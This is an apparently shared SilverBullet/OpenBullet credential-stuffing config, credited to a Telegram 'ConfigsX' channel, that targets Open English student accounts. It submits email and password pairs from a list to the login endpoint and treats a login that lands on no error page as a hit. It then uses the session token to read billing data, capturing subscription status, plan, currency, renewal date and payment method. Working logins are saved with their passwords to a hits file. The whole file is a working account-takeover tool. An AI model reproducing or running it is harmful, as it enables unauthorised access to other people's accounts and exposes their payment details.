[SETTINGS]
{
  "Name": "OpenEnglish [WEB API]",
  "SuggestedBots": 1,
  "MaxCPM": 0,
  "LastModified": "2024-08-18T20:49:33.5669268-06:00",
  "AdditionalInfo": "",
  "RequiredPlugins": [],
  "Author": "@TheMrXs | t.me/ConfigsX",
  "Version": "1.1.2 [SB]",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": false,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "IsBase64": false,
  "FilterList": [],
  "EvaluateMathOCR": false,
  "SecurityProtocol": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "AcceptInsecureCertificates": true,
  "DisableNotifications": false,
  "DisableImageLoading": false,
  "DefaultProfileDirectory": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": "",
  "Title": "at273t",
  "IconPath": "Icon\\svbfile.ico",
  "LicenseSource": null,
  "Message": null,
  "MessageColor": "#FFFFFFFF",
  "HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
  "AuthorColor": "#FFFFB266",
  "WordlistColor": "#FFB5C2E1",
  "BotsColor": "#FFA8FFFF",
  "CustomInputColor": "#FFD6C7C7",
  "CPMColor": "#FFFFFFFF",
  "ProgressColor": "#FFAD93E3",
  "HitsColor": "#FF66FF66",
  "CustomColor": "#FFFFB266",
  "ToCheckColor": "#FF7FFFD4",
  "FailsColor": "#FFFF3333",
  "RetriesColor": "#FFFFFF99",
  "OcrRateColor": "#FF4698FD",
  "ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
FUNCTION URLEncode "<USER>" -> VAR "email" 

FUNCTION URLEncode "<PASS>" -> VAR "password" 

FUNCTION CurrentUnixTime -> VAR "time" 

REQUEST POST "https://student.openenglish.com/j_spring_security_check?_=<time>" 
  CONTENT "j_username=<email>&j_password=<password>&source=" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "Accept: application/json, text/plain, */*" 
  HEADER "Accept-Encoding: gzip, deflate, br" 
  HEADER "Accept-Language: es-ES,es;q=0.9" 
  HEADER "Connection: keep-alive" 
  HEADER "Content-Length: 84" 
  HEADER "Host: student.openenglish.com" 
  HEADER "Origin: https://student.openenglish.com" 
  HEADER "Referer: https://student.openenglish.com/login.html" 
  HEADER "Sec-Fetch-Dest: empty" 
  HEADER "Sec-Fetch-Mode: cors" 
  HEADER "Sec-Fetch-Site: same-origin" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 
  HEADER "sec-ch-ua: \"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 

KEYCHECK 
  KEYCHAIN Success OR 
    KEY "<ADDRESS>" DoesNotContain "https://student.openenglish.com/login.html?login_error=" 
  KEYCHAIN Failure OR 
    KEY "<ADDRESS>" Contains "https://student.openenglish.com/login.html?login_error=" 

PARSE "<SOURCE>" LR "\"contactId\":\"" "\",\"showPlatformTourBanner\":" -> VAR "id" 

PARSE "<SOURCE>" LR "\",\"liveClassEnabled\":" ",\"iscEnabled\"" CreateEmpty=FALSE -> CAP "Clases en vivo" 

PARSE "<COOKIES(OESSOTOK)>" LR "" "" -> VAR "token" 

REQUEST GET "https://pp-api-gateway-ext.openenglish.com/billing-history/accounts?purchaserContactId=<id>" 
  
  HEADER "Accept: application/json, text/plain, */*" 
  HEADER "Accept-Encoding: gzip, deflate, br, zstd" 
  HEADER "Accept-Language: es-ES,es;q=0.9" 
  HEADER "Authorization: <token>" 
  HEADER "Connection: keep-alive" 
  HEADER "Host: pp-api-gateway-ext.openenglish.com" 
  HEADER "Origin: https://pp-billing-history.openenglish.com" 
  HEADER "Referer: https://pp-billing-history.openenglish.com/" 
  HEADER "Sec-Fetch-Dest: empty" 
  HEADER "Sec-Fetch-Mode: cors" 
  HEADER "Sec-Fetch-Site: same-site" 
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 
  HEADER "sec-ch-ua: \"Not)A;Brand\";v=\"99\", \"Google Chrome\";v=\"127\", \"Chromium\";v=\"127\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 

PARSE "<SOURCE>" JSON "subscriptionName" -> VAR "sub" 

PARSE "<SOURCE>" JSON "paymentMethod" CreateEmpty=FALSE -> CAP "Método de pago" 

PARSE "<SOURCE>" JSON "subscriptionStatus" CreateEmpty=FALSE -> CAP "Estado de la suscripcion" 

KEYCHECK BanOnToCheck=FALSE 
  KEYCHAIN Custom "FREE" OR 
    KEY "<Estado de la suscripcion>" NotEqualTo "Active" 

REQUEST GET "https://pp-api-gateway-ext.openenglish.com/billing-history/subscriptions/<sub>/rate-plans" 
  
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: application/json, text/plain, */*" 
  HEADER "Accept-Encoding: gzip, deflate, br, zstd" 
  HEADER "Accept-Language: es-ES,es;q=0.9" 
  HEADER "Authorization: <token>" 
  HEADER "Connection: keep-alive" 
  HEADER "Host: pp-api-gateway-ext.openenglish.com" 
  HEADER "Origin: https://pp-billing-history.openenglish.com" 
  HEADER "Referer: https://pp-billing-history.openenglish.com/" 
  HEADER "Sec-Fetch-Dest: empty" 
  HEADER "Sec-Fetch-Mode: cors" 
  HEADER "Sec-Fetch-Site: same-site" 
  HEADER "sec-ch-ua: \"Not)A;Brand\";v=\"99\", \"Google Chrome\";v=\"127\", \"Chromium\";v=\"127\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 

PARSE "<SOURCE>" JSON "[0].productName" JTokenParsing=TRUE CreateEmpty=FALSE -> CAP "Plan" 

PARSE "<SOURCE>" JSON "[0].currency" CreateEmpty=FALSE -> CAP "Moneda" 

PARSE "<SOURCE>" JSON "[0].renewalDate" JTokenParsing=TRUE CreateEmpty=FALSE -> CAP "Fecha de renovacion" 

FUNCTION GetRemainingDay "<Fecha de renovacion>" -> CAP "Tiempo faltante" 

UTILITY File "hits/Open Enlglish/hits.txt" AppendLines "<---[Open English HIT]--->\\nEmail: <USER>\\nPass: <PASS>\\nPlan: <Plan>\\nMétodo de pago: <Método de pago>\\n" -> VAR "save" 

FUNCTION Constant "Mr.X | t.me/ConfigsX" -> CAP "Config por" 

